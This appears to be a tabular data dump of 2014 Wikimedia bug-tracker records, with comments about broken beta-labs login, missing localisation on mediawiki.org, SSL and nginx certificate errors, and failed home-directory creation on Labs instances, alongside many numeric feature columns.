beta-hhvm.",,,1397157573,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_subcomment,,True,c3,1,True,,,-64,True,1.0,0.0,0.0,1.0,4.0,2.0,1.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,1.0,10.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,6.0,2.0,1.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,14.0,1.0,0.0,2.0,0.0,4.0,0.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,3.8674698795180724,0.7108433734939759,"When siteParamsCallback is called for 'enwiki', it doesn't know whether the configuration values it should return are the HHVM ones or not, so this workaround will have the effect of redirecting users on beta-hhvm to beta on login. So I'll have to figure out a better solution at some point. For now, though, this does unbreak testing on beta, which doesn't care / know about beta-hhvm."
299535,login broken on beta labs,"Change 125264 merged by Ori.livneh:
Work around bug 63780 by specifying a siteParamsCallback

https://gerrit.wikimedia.org/r/125264",,,1397157337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_subcomment,,True,c3,1,False,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,5.470588235294118,0.9411764705882353,"Change 125264 merged by Ori.livneh:
Work around bug 63780 by specifying a siteParamsCallback

GERRIT_URL"
299533,login broken on beta labs,"Change 125264 had a related patch set uploaded by Ori.livneh:
Work around bug 63780 by specifying a siteParamsCallback

https://gerrit.wikimedia.org/r/125264",,,1397157288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_subcomment,,True,c3,1,False,,,-64,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.181818181818182,0.9090909090909091,"Change 125264 had a related patch set uploaded by Ori.livneh:
Work around bug 63780 by specifying a siteParamsCallback

GERRIT_URL"
299532,login broken on beta labs,This may have been caused by https://gerrit.wikimedia.org/r/#/c/125062/ and https://gerrit.wikimedia.org/r/#/c/125070/.,,,1397149641,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,33.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8888888888888888,This may have been caused by URL and URL
65563,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"**Author:** `pr4tiklahoti`

**Description:**
Screenshot showing broken login and create account links

The ""Login"" and ""Create account"" links on mediawiki.org seem to be broken.

To reproduce, make sure you are not signed in. If signed in, logout and revisit http://www.mediawiki.org again

Observed: The links are broken

--------------------------
**Version**: wmf-deployment
**Severity**: normal

**Attached**: {F13773}",High,80.0,1396685040,1396710899.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fp76hh5nffykyc3jp22w,task_description,resolved,True,c3,1,False,False,True,-65,True,0.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,16.0,1.0,3.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,6.0,6.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.597938144329897,0.5463917525773195,"**Author:** CODE

**Description:**
Screenshot showing broken login and create account links

The ""Login"" and ""Create account"" links on mediawiki.org seem to be broken.

To reproduce, make sure you are not signed in. If signed in, logout and revisit URL again

Observed: The links are broken

--------------------------
**Version**: wmf-deployment
**Severity**: normal

**Attached**: {F13773}"
301660,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"(In reply to Andre Klapper from comment #4)
> I'm pretty sure this is related to the ""Localisation not working on
> MediaWiki.org"" on the (internal) Engineering mailing list so I guess that
> either stuff got reverted or worked around.

Yes, that's what happened

https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Missing_interface_messages",,,1396710899,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1923076923076925,0.8076923076923077,"(In reply to Andre Klapper from comment #4)
QUOTE
QUOTE
QUOTE

Yes, that's what happened

URL"
301654,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"I'm pretty sure this is related to the ""Localisation not working on MediaWiki.org"" on the (internal) Engineering mailing list so I guess that either stuff got reverted or worked around.",,,1396710547,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,14.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,3.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.333333333333333,0.8888888888888888,"I'm pretty sure this is related to the ""Localisation not working on MediaWiki.org"" on the (internal) Engineering mailing list so I guess that either stuff got reverted or worked around."
301648,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"**pr4tiklahoti** wrote:

Andre: I should have mentioned that I was using Mozilla Firefox 26.0. And also sorry for using the word ""broken"". 

I am *not* able to reproduce it now on a different machine. However, I had confirmed this bug from kondi on #mediawiki before filing it. It was there in the afternoon. Wonder if the bug got fixed or it was some cache issue for both of us.",,,1396709770,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,False,,,-65,True,1.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,1.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,2.0,2.0,8.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,10.0,12.0,4.0,0.0,2.0,0.0,10.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,3.50561797752809,0.7078651685393258,"**pr4tiklahoti** wrote:

Andre: I should have mentioned that I was using Mozilla Firefox 26.0. And also sorry for using the word ""broken"". 

I am *not* able to reproduce it now on a different machine. However, I had confirmed this bug from kondi on #mediawiki before filing it. It was there in the afternoon. Wonder if the bug got fixed or it was some cache issue for both of us."
301642,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"(Links aren't ""broken"" as they still do what they are expected to do when clicking them; the text is wrong though so changing bug summary.)

Being logged out and going to https://www.mediawiki.org/wiki/MediaWiki in Google Chrome 33, I see the usual strings ""Create account"" and ""Log in"" instead of the technical placeholders.

Pratik: Does this always happen or only sometimes? Have you bypassed your browser cache? https://en.wikipedia.org/wiki/Wikipedia:BYPASS",,,1396702872,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,2.0,1.0,4.0,1.0,0.0,1.0,0.0,5.0,1.0,0.0,1.0,0.0,1.0,0.0,10.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,14.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,7.0,10.0,6.0,2.0,7.0,0.0,7.0,0.0,2.0,0.0,1.0,4.0,0.0,0.0,0.0,3.7976190476190474,0.7976190476190477,"(Links aren't ""broken"" as they still do what they are expected to do when clicking them; the text is wrong though so changing bug summary.)

Being logged out and going to URL in Google Chrome 33, I see the usual strings ""Create account"" and ""Log in"" instead of the technical placeholders.

Pratik: Does this always happen or only sometimes? Have you bypassed your browser cache? URL"
301636,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"**pr4tiklahoti** wrote:

Oops, just a note: As seen in the screenshot, the other links - View History, View Source and the Search text seem to be broken as well.",,,1396685389,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,False,,,-65,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,18.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.35,0.775,"**pr4tiklahoti** wrote:

Oops, just a note: As seen in the screenshot, the other links - View History, View Source and the Search text seem to be broken as well."
65538,enable SSL/https support again,"Please enable ssl/https support for the beta wikis again. It is missing after migration to eqiad.

Btw: The old cert issued by Labs CA for all beta subdomains was not considered ""valid"" because among others things it was only for issued for *.wmflabs.org (counts only for direct subdomain) but thats ok.
see bug 48501 for task to get real beta certs but only for limited subdomains.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=68387",High,80.0,1396634940,1397720970.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-zil3dzudm6lc65b24rkh,task_description,resolved,True,c3,1,True,False,True,-65,True,0.5,0.0,0.0,0.5,0.5,7.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,7.5,0.5,2.0,2.5,0.0,0.0,0.0,0.0,3.5,0.5,1.0,0.0,1.0,8.0,2.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.74006734006734,0.7237373737373738,"Please enable ssl/https support for the beta wikis again. It is missing after migration to eqiad.

Btw: The old cert issued by Labs CA for all beta subdomains was not considered ""valid"" because among others things it was only for issued for *.wmflabs.org (counts only for direct subdomain) but thats ok.
see bug 48501 for task to get real beta certs but only for limited subdomains.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
300407,enable SSL/https support again,SSL is enabled again but is not going to work until someone sort out the SSL certificate issue tracked by bug 48501.  There is no need to have two bugs to track the issue :-D,,,1397720970,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-63,True,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,16.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,8.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7837837837837838,0.8108108108108109,SSL is enabled again but is not going to work until someone sort out the SSL certificate issue tracked by bug 48501.  There is no need to have two bugs to track the issue :-D
300405,enable SSL/https support again,"(In reply to se4598 from comment #6)
appendix: even if the mentioned bug now covers that too, leave this bug open until it's somehow working, because of the dependencies/blocked bug of this etc.",,,1397671420,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,7.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7045454545454546,0.8636363636363636,"(In reply to se4598 from comment #6)
appendix: even if the mentioned bug now covers that too, leave this bug open until it's somehow working, because of the dependencies/blocked bug of this etc."
300403,enable SSL/https support again,"REOPEN: bug 48501 is about getting real, valid certs. This about accessing beta with https (regardless if the cert is valid for the browser and a warning message pops up).

I don't know nginx to say why he doesn't like the cert, but how about generating new, self-signed or by Labs CA for beta domains? Thats how it was and worked in pmtpa, so what's the problem here?",,,1397670859,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,8.0,13.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,6.0,3.0,7.0,5.0,6.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,13.0,3.0,2.0,0.0,0.0,3.0,0.0,5.0,1.0,0.0,3.0,0.0,0.0,0.0,3.511627906976744,0.7906976744186046,"REOPEN: bug 48501 is about getting real, valid certs. This about accessing beta with https (regardless if the cert is valid for the browser and a warning message pops up).

I don't know nginx to say why he doesn't like the cert, but how about generating new, self-signed or by Labs CA for beta domains? Thats how it was and worked in pmtpa, so what's the problem here?"
300401,enable SSL/https support again,The puppet class role::protoproxy::ssl::beta  is applied on all varnish instances.  Nginx refuses to starts because the /etc/ssl/private/star.wmflabs.org.key key mismatch (see comment #3).  That would be solved whenever we get certificates on beta which is the rather long bug 48501.,,,1397642933,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-64,True,2.0,0.0,0.0,4.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,6.0,4.0,0.0,11.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.537037037037037,0.8333333333333334,The puppet class role::protoproxy::ssl::beta  is applied on all varnish instances.  Nginx refuses to starts because the /etc/ssl/private/star.wmflabs.org.key key mismatch (see comment #3).  That would be solved whenever we get certificates on beta which is the rather long bug 48501.
300399,enable SSL/https support again,"Change 124057 merged by Dzahn:
beta: adjust protoproxy for eqiad

https://gerrit.wikimedia.org/r/124057",,,1397636946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,False,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,0.9333333333333333,"Change 124057 merged by Dzahn:
beta: adjust protoproxy for eqiad

GERRIT_URL"
300397,enable SSL/https support again,"While applying the puppet class on deployment-cache-bits01, nginx ends up bailing out with:

 root@deployment-cache-bits01:~# /etc/init.d/nginx start
 Starting nginx: nginx: [emerg] SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"") failed
   (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
 nginx: configuration file /etc/nginx/nginx.conf test failed",,,1396865586,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,4.848101265822785,0.6708860759493671,"While applying the puppet class on deployment-cache-bits01, nginx ends up bailing out with:

 root@deployment-cache-bits01:~# /etc/init.d/nginx start
 Starting nginx: nginx: [emerg] SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"") failed
   (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
 nginx: configuration file /etc/nginx/nginx.conf test failed"
300394,enable SSL/https support again,"Patch is there, will get it fixed this afternoon hopefully :-]",,,1396693634,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Patch is there, will get it fixed this afternoon hopefully :-]"
300388,enable SSL/https support again,"Change 124057 had a related patch set uploaded by Hashar:
beta: adjust protoproxy for eqiad

https://gerrit.wikimedia.org/r/124057",,,1396693598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,False,,,-65,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,0.95,"Change 124057 had a related patch set uploaded by Hashar:
beta: adjust protoproxy for eqiad

GERRIT_URL"
64771,WMFLabs: Auto-creation of home directories broken (new members and instances unable to login),"As of late, the home directory creation for users is broken.

I got errors in two scenarios:

* Added user 'rxy' as member to the 'cvn' group.
* Him connecting to a pre-existing pmtpa instance that I (krinkle) can log in on fine, yields:

$ ssh cvn-app2.pmtpa.wmflabs
(..)
Creating directory '/home/rxy'.
Unable to create and initialize directory '/home/rxy'.

$ ssh cvn-app3.eqiad.wmflabs
(..)
* Created new instance in eqiad.
* Me connecting to this 15 minutes after its creation, I still get:

Creating directory '/home/krinkle'.
Unable to create and initialize directory '/home/krinkle'.


I've updated my .ssh/config with the most recent version of the example on https://wikitech.wikimedia.org/wiki/Help:Access#ProxyCommand, but that only made it worse (main difference is using bastion-eqiad, instance of bastion2.pmtpa).

With that config I can't even connect to it:

$ ssh cvn-app3.eqiad.wmflabs 
channel 0: open failed: connect failed: Connection timed out
ssh_exchange_identification: Connection closed by remote host

Trying manually:

$ ssh -A bastion1.eqiad.wmflabs
krinkle at bastion1.eqiad.wmflabs in ~
$ ping cvn-app3
PING cvn-app3.eqiad.wmflabs (10.68.16.170) 56(84) bytes of data.
64 bytes from cvn-app3.eqiad.wmflabs (10.68.16.170): icmp_req=1 ttl=64 time=2.26
64 bytes from cvn-app3.eqiad.wmflabs (10.68.16.170): icmp_req=2 ttl=64 time=0.71
$ ssh cvn-app3
ssh: connect to host cvn-app3 port 22: Connection timed out
$ ssh cvn-app3.eqiad.wmflabsssh: connect to host cvn-app3.eqiad.wmflabs port 22: Connection timed out

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1395122940,1395865315.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-kc232afiuvpm5uk6upql,task_description,resolved,True,c3,1,True,False,True,-68,True,0.0,0.0,0.0,0.25,0.25,3.0,0.0,0.0,0.0,0.0,1.5,3.5,0.0,0.25,0.0,1.75,0.5,1.75,8.75,0.0,0.75,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.25,0.0,0.0,1.5,0.0,0.75,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.25,0.25,3.0,0.0,0.0,0.25,0.0,0.0,15.25,0.0,0.75,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,1.25,0.5,6.25,0.5,0.75,1.75,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,2.75,8.75,5.75,0.0,3.0,0.0,2.75,0.0,0.0,0.25,0.5,1.75,0.25,0.25,0.25,4.169666470761093,0.65027181898325,"As of late, the home directory creation for users is broken.

I got errors in two scenarios:

* Added user 'rxy' as member to the 'cvn' group.
* Him connecting to a pre-existing pmtpa instance that I (krinkle) can log in on fine, yields:

$ ssh cvn-app2.pmtpa.wmflabs
(..)
Creating directory '/home/rxy'.
Unable to create and initialize directory '/home/rxy'.

$ ssh cvn-app3.eqiad.wmflabs
(..)
* Created new instance in eqiad.
* Me connecting to this 15 minutes after its creation, I still get:

Creating directory '/home/krinkle'.
Unable to create and initialize directory '/home/krinkle'.


I've updated my .ssh/config with the most recent version of the example on URL but that only made it worse (main difference is using bastion-eqiad, instance of bastion2.pmtpa).

With that config I can't even connect to it:

$ ssh cvn-app3.eqiad.wmflabs 
channel 0: open failed: connect failed: Connection timed out
ssh_exchange_identification: Connection closed by remote host

Trying manually:

$ ssh -A bastion1.eqiad.wmflabs
krinkle at bastion1.eqiad.wmflabs in ~
$ ping cvn-app3
PING cvn-app3.eqiad.wmflabs (10.68.16.170) 56(84) bytes of data.
